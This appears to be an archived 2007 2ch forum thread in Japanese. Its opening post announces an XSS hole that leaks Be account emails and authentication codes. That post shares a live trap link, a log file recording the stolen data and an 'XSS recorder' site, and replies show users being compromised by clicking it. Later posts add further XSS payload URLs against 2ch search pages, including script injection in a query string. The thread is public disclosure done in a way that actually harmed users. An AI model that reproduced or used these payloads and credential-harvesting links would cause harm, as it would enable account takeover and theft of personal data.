【速報】Beのメアドと認証コードが漏れるXSS脆弱性を発見

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 00:26:28

1 スレ立て代行＠大学中退(兵庫県) [] 2007/11/27(火) 23:22:25 ID:EbtVATOs0● ?2BP(2350)　
俺こと脱帽は、先日のいつか忘れたけど2chにXSSの脆弱性を発見した。
今回は通常のウェブブラウザ（除く専ブラ）からBeにログインした状態で
任意のURLにアクセスするとBeのメアドと認証コードが漏れる脆弱性であり、
それによってアカウント乗っ取りやプロフィールの変更が可能になってしまう。

現時点で数箇所のCGIで同脆弱性を確認しているが、この限りではない可能性もある。
サンプルURLを貼って置くが絶対に悪用しないよう注意を促したい。

http://z.la/ms0k2 (短縮URL、罠なので踏む時は注意)
http://moyashi.sosite.jp/xss/log.txt (盗まれた情報が記録されるファイル)

▼ 汎用XSS記録装置
http://moyashi.sosite.jp/xss/
▼ 俺公式サイト
http://manabi.homeunix.net/

これは色々とまずいようなきがします。

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 00:34:22

やめてええええええええ

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 00:40:46

マジで焼かれたワロタ

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 00:53:11

メアド漏れた( ﾟ∀ﾟ)ｱﾊﾊ八八ﾉヽﾉヽﾉヽﾉ＼ / ＼/ ＼

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 00:59:24

ひろゆきに言え、Beは奴が責任者だ

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 01:04:47

　　　　　　　　 ,,x-ｰ:: ":::::
　　　　　　　　,x '"::::::::::::::::::::
　　　　　　,､'":::::::::::::,, x-‐ ｧ:
　　　 ,,x '"::::::,,､- '"　　　|:::
　　　 `"i`ｰ'"　　　　　　　ヾ　　ハハ・・・二つも焼かれちまったぜ
　　　　!　､　､,,,,,,,,,;;;;;;;;;彡ﾐ　　　ちょっと必死すぎなんじゃねえのか・・・？
　　　　|,,,,ﾉi `ｰヾ;; '"----､
　　　　ヾ::ヽ　　　　　-┴'~
　　　　~|:/　' ' ' `ー ' "'"
　　　　　 /_
　　　　　l　　　　'' )　　　　i
　　　　　ヽ,,､'~`　　　　　 U
　　　　　　ﾞ, __ ,-､_,ノ`
　|／　　　ﾞ,　`'" ,,y
　|／　　彡　ﾞ､`-'"
　　 /|/　　　　 i
　　 / 　　　　 !　　　　,, -'"
　　　　|　　　　　`ー '"|::
　　　　|　　　　　　／|||ヽ
　　　　　　　　　 /|||||／心
　　　　　　　　　 |ヾ/ ／`ｰ

**動け動けウゴウゴ２ちゃんねる** · 2007/11/28(水) 01:15:40

ﾜﾛﾀ

**愛のかぁびぃ** ◆Kirby..wFo · 2007/11/28(水) 01:23:42

シネゴミ蛾

【bicycle:37】 ◆VipSineMLM · NG

対策はどこのスレでとってるんだ

**オッサン** ◆1.Fuck.nn. · 2007/11/28(水) 02:35:50

★複数板BEのメアドと認証コードが漏れるURLを張る人報告スレ
http://qb5.2ch.net/test/read.cgi/sec2chd/1196184490/

n ◆q0uEtog.ao · 2007/11/29(木) 01:50:36

XSS発見しますた。
http://newsnavi.2ch.net/search/?q=%3C/title%3E%3C/head%3E%3Cscript%3Ealert(window)%3C/script%3E&e=

n ◆q0uEtog.ao · 2007/11/29(木) 02:25:16

危険な香り。防いでおいた方が吉。
http://shop.2ch.net/image_gen.php?oid=22930240&type=text/html

n ◆q0uEtog.ao · 2007/11/30(金) 01:02:05

スレタイがエスケープされてません。
http://is.2ch.net/?query=%3C+%3E&enc=SJIS

**動け動けウゴウゴ２ちゃんねる** · 2007/12/01(土) 18:27:43

>>11-13
2ｃｈの動作報告はここで。パート22
http://qb5.2ch.net/test/read.cgi/operate/1182679645/556

**動け動けウゴウゴ２ちゃんねる** · 2007/12/01(土) 18:33:46

ぎゃ、、、

ここに書かないでメールで伝えたほうがいいと思います・・・・書いちゃうと前回と同じことになるかもだし